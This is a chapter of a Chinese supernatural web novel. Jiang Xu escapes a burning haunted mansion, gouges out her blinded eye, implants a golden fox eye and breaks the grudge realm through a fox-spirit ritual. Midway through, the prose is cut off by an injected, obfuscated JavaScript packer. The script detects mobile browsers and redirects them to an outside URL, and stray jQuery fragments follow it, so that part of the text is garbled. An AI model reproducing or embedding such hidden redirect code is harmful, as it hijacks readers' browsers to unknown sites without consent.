21. 【塞拉庄园】换眼

作品:《保洁费日结两千,那家凶宅又下单了

    佘寒君语气温柔,堪称循循善诱,但姜栩可不会因为人家长得好看就失去原则。


    好看归好看,她一把把眼珠子塞回衣兜里,脸上还是那副笑眯眯的模样:“带我出去?你连自己都搞得这么狼狈,拿什么带我出去?”


    话音未落,脚下的地板疯狂一震,好像整个别墅要倒塌了,姜栩踩着的椅子一歪,她努力稳住身体,和佘寒君同时转头向门口,火光照亮了门缝的下沿,橘红色的光在飞速蔓延,浓烟的味道从门缝里挤进来。


    正如佘寒君所说,怨境的主人已经意识到他们察觉了真相,所以开启最后的猎杀时刻。


    “砰——砰——砰——”


    椅子腿在地板上摩擦出刺耳的尖啸,一寸一寸往后滑,有人在撞门,这个房间就快要守不住了。


    几乎是同时,姜栩把日记本往怀里一塞,蹲身准备下来,而佘寒君高高张开双手,架着她的腋下把她平稳地放到地上,一套动作从善如流,没人觉得有什么不对。


    两人一瞬间从敌人变成了同盟。


    “快走。”


    姜栩话音刚落,佘寒君已抓起她的右手,一路往外冲,刚一打开门,门外的两尊雕塑直直扑进来,佘寒君侧身一脚踹在当先那具雕塑的胸口,雕塑倒飞出去,撞翻了后面一排,给两人争取了三四秒的宝贵时间。


    走廊已然变成了炼狱,火舌从三楼楼梯口的方向一路舔舐过来,大片的火光沿着墙壁蔓延,天花板上吊着的灯盏被热浪冲击得剧烈摇晃,光影像溺水的人一样疯狂摆动。


    火光中影影绰绰都是雕塑的影子,摇摇晃晃如同丧尸一般,走廊里密密麻麻都是僵硬的身影,从速度上来看,比之前快了好几倍,跨越火光而来,转眼间已经逼近眼前。


    姜栩下意识用目光凝视,试图阻止他前进的脚步,但这一次却没有太明显的效果,雕塑只是顿了一顿,动作有一瞬的迟滞,又继续扑过来,且速度比之前更快。


    好像姜栩的注视不但没有冻结他,反而激怒了他,下一秒他就要咬到姜栩的脖子。


    “别看了!”


    佘寒君眼疾手快把她拽到身后,左臂横扫出去,小臂上肌肉绷得紧紧的,硬生生砸碎了一具雕塑的脖颈。


    碎石四溅,但那具无头的雕塑并没有停下,反而伸出双手胡乱抓挠,佘寒君的肩膀被抓出一道血痕。


    姜栩挥斧砍断那只手臂,两人交替掩护往走廊另一头撤。


    走廊的尽头,原本在花坛上睥睨天下的女战神整堵在楼梯口,身后盘踞着四条巨蛇,仿佛从火光中生长出来,瞳孔中倒映着烈火的颜色。


    姜栩看到她时,她已经张弓搭箭瞄准了姜栩。


    “小心!”姜栩挥动消防斧,格挡住一支石箭,差一点那支箭要射入佘寒君的身体里。


    “它们已经分不出敌我了,怨境把所有的防御机制都调成了无差别模式,这也是好事,说明我们已经找到了相当多的线索,基本方向是没错的。”


    姜栩正全神贯注地和敌人纠缠,忽然右眼一疼,疼得她弯腰眨眼,显然拖了佘寒君的后腿。


    “没事吧?”


    “没事。”


    姜栩眨眨眼睛,把因为疼痛产生的泪水挤出去,抬头再看,却发现怎么都看不清了,眼前的画面变成重影,火光和雕塑的影子叠在一起,扭曲成一片模糊的光斑。


    恍惚之中,她似乎看到一个影子。


    那个影子非常熟悉,仿佛在哪里见过,一时间想不起来。


    火光热烈盛大,姜栩眨眨眼睛,在一片模糊之中努力辨认,那个身影慢慢化形,变成她最怕的一个人。


    是她在孤儿院时候的保育员。


    她在孤儿院的时候是一个不让老师省心的皮孩子,爬树翻墙和男生打架是样样不落的,因为一脑袋反骨,所以很多家庭看到她都挺喜欢,但是最终她并没有被领养出去,变成了幼儿园的钉子户。


    保育员看到她就一个头两个大,每天用言语攻击她。


    “就你这样的孩子,迟早会惹出大麻烦!”


    “一个女孩没有女孩的样子,真是该让医生好好给你检查一下,说不定你根本不是个女孩子!”


    保育员恶狠狠的眼神姜栩到现在都还能清晰地想起来,并且想起那股随之而来的恶寒的感觉,如同蛇一样冰冷的眼神,如跗骨之蛆,让人难以安眠。


    姜栩咬破了自己的舌尖,铁锈味在口腔里蔓延开来,疼痛让她短暂地清醒。


    她用力甩了甩头,发现佘寒君正拽着她往楼梯口的方向冲,他的手臂上多了好几道口子,有一道从手腕划到肘弯,皮肉翻卷着,血顺着手背往下滴。


    “往哪边走?”姜栩问。


    “不清楚,先躲过大火再说!”


    温度越来越高,两个人被困在这里,恐怕不用等雕塑把他们杀死,只要再呆一会儿,就会变成烤串。


    怨境的源头在起火的地方。


    这个怨境永远停留在女主人生日当天,而火灾是她一生中最后发生的事,或者说,是她怨念最深的那一刻的具象化。


    她在日记里叩问上天,但上天没有回应她,也许最后她选择了另一种方式,也许那场火是她自己放的。


    如果是这样,那么单纯逃跑永远逃不出去,因为他们跑得越快,越是在顺应怨境的逻辑。


    畏惧、逃亡、最终被火焰吞噬。


    就像女人在现实世界里一样,被生活驱赶着,最终逃无可逃。


    必须反过来。必须逆流而上,去起火的地方,去怨念最深处。


    姜栩指着火焰最盛的方向:“往那边走。”


    要在大火中做一个逆行者,佘寒君没有任何犹豫,完全相信姜栩。


    这种毫无保留的信任让姜栩有点不适应,但现在没有时间去细想。她握紧消防斧,佘寒君挡在她身前,两人逆着热浪往三楼深处冲去。


    越往里走,温度越高,空气被炙烤得扭曲变形,每一次呼吸都像在吞咽滚烫的刀刃。


    比高温更可怕的是雕塑的变化,它们的速度已经快到了一种违反常理的程度。


    一开始还能看见它们冲刺的轨迹,到后来只剩下一道道灰白的残影,像是没有帧数的影片直接跳帧,姜栩肉眼完全捕捉他的移动,就感觉到手臂一阵剧痛,雕像坚硬的手紧紧捏住她的胳膊,只一下,骨头就变形了。


    佘寒君回身一脚踢碎了它,但这一脚的空档里,另一具雕塑已经从右侧扑到了他的背上。姜栩一斧子劈过去,斧刃嵌进雕塑的肩膀,石头开裂,雕塑转过身来,与姜栩对视。


    在对视的那一瞬间,她的眼睛又一阵剧痛,视线在一瞬间变成血红色,雕塑的脸在血色中扭曲变形,五官开始融化重组,最后又变成了保育员的脸。


    “像你这样的孩子,不会有人要你的,将来你还能怎么办呢?离开了这里,你就只能嫁到大山里去给人家当媳妇了。”


    姜栩人生中听到的最早的PUA就来自于这个保育员。


    她在剧痛之中还能冷静地思考,摸清了怨境的逻辑。女人因为被人凝视而死。


    所以在这个怨境之中,每个人都会被凝视,都会感受到被凝视的感觉,而且在怨境的作用下,这种恐惧会被无限放大,最终大到人承受不到的地步。


    这个怨境还挺聪明的,知道她的软肋是什么。


    但是怨境搞错了一点,她并不害怕这个保育员,相反,她对这个保育员只有愤怒。


    她成年的前一天,和保育员狠狠打了一架,打掉了保育员的两颗牙后扬长而去。


    所以她完全没有恐惧,只有遇到老仇人的身份。


    老贼,当年你打不过我,以为在幻觉之中就能打得过我了?


    “掩护我!”姜栩斗志昂扬,“看我与这老贼决一死战!”


    身后却没有传来回音,佘寒君的眼睛直直地盯着走廊伸出的方向,姜栩顺着他的目光看过去,发现那里什么都没有,显然在佘寒君的幻觉中,他也看见了让他一生难忘的眼神。


    他的嘴唇翕动着,声音低得几乎听不见:“你……怎么在这里……”


    “对不起……”佘寒君红了眼眶,微微垂下的眼睛湿漉漉的,“对不起……我没有保护好她。”


    怨境把他最想看又最怕看到的那个人的目光,投射进了他的幻觉里。


    一具雕塑趁着这个空档扑上来,姜栩一脚踹开佘寒君,自己却来不及躲。


    雕塑的手指擦过她的右肩,石化的力量像电流一样窜过她的身体,右臂从指尖开始迅速变灰变硬,一直蔓延到手肘才停下来。


    她的右手完全不能动了。加上之前就已经石化的右臂,她的右手现在就是一块从肩膀挂到指尖的石头。


    姜栩单手持斧,左臂的力量虽然大,但毕竟不习惯,准头和速度都下降。


    火势越来越大,眼看就要把三楼的走廊全部吞没,他们时间有限,姜栩决定放弃佘寒君。


    她跑出两步,回过头,佘寒君还在对着走廊喃喃自语,到底狠不下心,折回来往佘寒君身上踹了一脚,半推半拽把他带走。


    然而狭窄的走廊已经全部被火焰包裹,姜栩的左臂酸麻,额头上汗水混着血水往下淌,模糊了视线。


    右眼的疼痛还在加剧,疼到整个右半张脸都在抽搐,视野里的血色越来越浓,幻觉和现实交替闪现,她已经分不清哪些是真正的雕塑,哪些是她脑子里投射出来的幻影。


    她试图用目光压制回去,我并不怕你们的凝视,我会反过来凝视你们。


    这个规则她从一开始就摸透,然而个体的力量实在过于微弱,像在暴风雨中举着一把破伞,压住了这边,那边的风又灌进来。


    怨境太大了,它已经吸收了很多人的恐惧,它的力量源源不断,而她只有一只眼睛,一颗心脏,一具快要被消耗殆尽的身体。


    直到她的目光压制不住雕塑,雕塑们的移动速度重新飙升,灰白色的残影在血色视野中织成一张密不透风的网,越收越紧。


    姜栩的右眼疼痛欲裂,姜栩猜想眼前的血色应该是她的眼睛流出的血,终于在一阵剧烈的疼痛之后,姜栩的右眼陷入一片黑暗。


    她感觉到眼眶里流出黏腻的热流,用手一抹,是血,她的眼睛瞎了吗?


    雕塑已经完全没有了任何阻拦,他们长驱直入,如入无人之境,包围圈渐渐缩小,姜栩和佘寒君都要变成雕塑中的一员了。


    墙上的火舌舔上了天花板,整条走廊发出木头断裂的呻吟声,脚下的地板开始塌陷。


    如今已经穷途末路,姜栩摸着口袋里跳动的眼球。


    当时她觉得怕疼,划掉了那个选项,现在她已没得选。


    姜栩用左手摸了摸自己眼眶的边缘,这个姿势有点别扭,左手反手操作右眼,角度使不上力。


    这一次她没有犹豫,确定好了位置之后,她毅然决然地把手指探了下去,冰凉的手指贴着滚烫的眼球,在那一瞬间她感觉到自己眼球的形状和大小。


    姜栩的眼眶跟被炸过一样剧痛,现在她居然还能保持清醒,没有疼晕过去,简直是个奇迹,也让她感觉到自己的做法没错。


    反正右眼已经瞎了,死马当活马医。


    姜栩挖出了自己的眼睛,把那颗金色的眼球填塞进去,那一瞬间,整个世界都陷入了安静。


    火光的声音都成为背景,她先是看见应该是这只眼睛曾经的记忆。


    她看见了一片漫天的火光,比她面前的这场大火还要盛大千百倍,火光烧穿了半边天空,把云都染成了血红色。滚滚天雷在头顶炸响,每一道雷都劈得山摇地动。


    眼睛的主人在奔跑,她是第一视角,仿佛是一只什么小动物,视角很低,贴着地面移动,躲避天上滚滚雷电。


    她只能看见飞快倒腾的小爪子,爪背上的皮毛是漂亮的赤红色。


    周围的景色一闪而过,她甚至在其中看见了佘寒君的脸,这个佘寒君更年轻一些,穿着很奇怪的衣服,并非现代的装束。


    眼前的画面飞速进入姜栩的大脑,逐渐变得模糊,所有的色彩慢慢洇开,视野缓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587155|205334||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缓合拢,黑暗从四角往中心蔓延,最后只剩下中心那一小圈光,光圈里是佘寒君的脸。


    佘寒君神色惊慌:“你……你的眼睛……”


    他手足无措,看起来想把这个眼睛抢回来,又不敢。


    姜栩自己明明疼得要死,但在佘寒君面前,还是骄傲地一抬头,哑着嗓子:“如何,还可以吧?我看你也别抢了,我们俩融合得很好,合该它是我的。”


    姜栩的右眼重现光明,眼球自己转动了一下,竖瞳“刷”一下立了起来。


    眼前的场景骤然清晰,像相机的镜头拧到了最清晰的那一档,身边的雕像最近的离他们不过一掌远的距离,姜栩的竖瞳微微收缩,金色的光芒在瞳孔深处一闪而过。


    雕塑一下子静止在原地,完全一动不动,姜栩仿佛天生会使用这只眼睛,她凝神,聚力,如果凝视也是一种力量,那么姜栩这只眼睛的力量是无穷的。


    她都没有和雕塑产生接触,雕塑就在她目光的压制下从头顶裂开,“砰”的一声化为齑粉。


    姜栩眨了一下眼睛。竖瞳在眼眶里流畅地转动,锁定了下一具雕塑。


    又是一道金色的光芒闪过,那具雕塑连挣扎的机会都没有,裂缝从胸部开始,又是“砰”一声四分五裂。


    雕塑们如同有自己的思想和生命,四散奔逃。


    “跑什么?”姜栩略有些小人得志地猖狂大笑,“不是喜欢凝视别人吗?来,让我也凝视凝视你们。”


    她和佘寒君逆着热浪往三楼伸出走,火势看起来很大,但就好像是专门给两人留了一条路,走廊在延伸,墙壁在移动,脚下的地板时而倾斜,时而恢复平整。所有的物理法则在这里都失效了,只剩下怨念的轨迹。


    三楼火势最大的地方是一个很小的房间,就在佘寒君找眼睛的那个储藏室旁边,一个很小的门,不仔细看,就很容易忽略。


    门里火光冲天,推开门,里面没有窗户,也没有别的装饰,只摆着一张矮矮的小供桌,桌上供着一尊小狐狸的雕塑。


    狐狸是坐姿,前爪并拢放在胸前,尾巴盘在身后,姿态端庄得像一尊佛像。


    它闭着眼睛,嘴角微微上翘,似笑非笑的表情在火光中显得诡异极了。


    雕塑前面摆着一个小香炉,旁边放着一碗白饭,饭上竖着插了三根筷子。


    和姜栩在别墅门口见到的祭祀用品一模一样。


    姜栩掏出随身携带的县志,县志详细记录了狐妖的力量以及祭祀狐妖的传统。


    虽然狐妖最后受到了上天的惩罚,但是因为它偷食人间香火,拥有强大的力量,被尊为邪神,所以有些走投无路的人,就会去请求狐妖的保佑。


    每逢朔望,在米饭上插三炷香,祭祀方法极其诡异,被县志记为“淫祀”。


    那个别墅的女主人,在日记里反复叩问上天却得不到回应之后,开始收集民俗学的书籍,在这些书中,她找到另一种被视为邪异的力量。


    县志对祭祀方法记录非常详细。


    “每朔望,以白饭一碗,竖箸三支,燃香三炷,闭目默祷。不可直视狐面,不可出声言语。祷毕熄香,将饭埋于门外三尺土下。”


    姜栩蹲下身,从矮桌下面摸出了三根老式的檀香,又粗又长,香体上用朱砂画着密密麻麻的符文。


    香就放在桌下的暗格里,旁边还有一盒火柴,显然女主人不止一次做过这件事。


    姜栩模仿县志中记载的样子,划燃火柴,将三炷香依次点燃,插进香炉里。


    接着,姜栩拿过墙角的白米饭,好像有人为她准备好了一切,就连米饭都是现成的,把筷子竖直插入饭碗,那一瞬间,香头的火焰骤然燃烧起来,吞没了一切。


    姜栩和佘寒君站在白色火焰之中,皮肤上没有一丝灼痛,甚至感觉不到温度。


    这场大火飞速蔓延,将一切雕像全部吞没,一切都消失不见,香案上小狐狸雕塑身后,出现了一个女人的影子,怨境的主人,她终于现身了。


    这是姜栩第一次见到她本人,她的眉毛很浓,不算漂亮,但有一种沉静倔强的气质,嘴角紧紧抿着,看起来像是那种不服输的人。


    姜栩静静凝视着她。右眼的竖瞳中映出女人的身影,金色的光芒温和而坚定。


    击破怨境的方法很简单,凝视就可以了。


    姜栩只要稍微集中念力,女人从双脚开始,石化的纹路一寸一寸往上蔓延,直到完全石化,铿然碎裂,被风吹走,散落在月光当中。


    怨境崩塌,姜栩和佘寒君两个人疯狂逃窜,躲避掉下来的石块砖瓦一类的。


    楼梯开始坍塌,姜栩每一步都踩在下一秒就塌陷的砖石上,往门口扑去。


    姜栩一头扎进那片白光里,如同跳进游泳池,池水灌进耳朵,又哗啦啦流出去,姜栩从泳池中探出头,狠狠呼吸了一口新鲜空气。


    眼前的塞拉庄园一片荒凉和萧条,在暗夜的星光下鬼影绰绰,路灯昏黄的光洒在大门口的碎石路上,路边的杂草安安静静地伏着,远处的建筑工地上传来隐约的机器轰鸣声。


    一切都和黄昏时她进来之前一模一样,好像什么都没有发生过。


    姜栩活动了一下手臂,她的右手恢复了正常,她转过头,想找佘寒君,然而大门口空无一人。


    姜栩忙打开手机的前置摄像头对准自己的眼睛,瞳孔在光照下收缩成一条细缝,是竖瞳。


    这玩意儿还在。


    姜栩咧了咧嘴,不知道是该庆幸还是该骂娘。她掏出手机看了一眼时间,屏幕上显示:00:00。


    姜栩赶紧取消了进别墅区之前准备定时发送的短信消息,几乎在她按下取消的同一秒,手机屏幕忽然切换来电页面,顾怀彰打电话了。


    “你怎么还在加班?”


    姜栩光着脚丫子踩在冰凉的地面上,浑身上下没有一处不疼,她揉着自己的胳膊,歪头用肩膀和耳朵夹住手机,声音懒洋洋的,好像真的加了很久的班下班回家。


    “你可真会掐算时间,刚好结束,马上就回去啦。”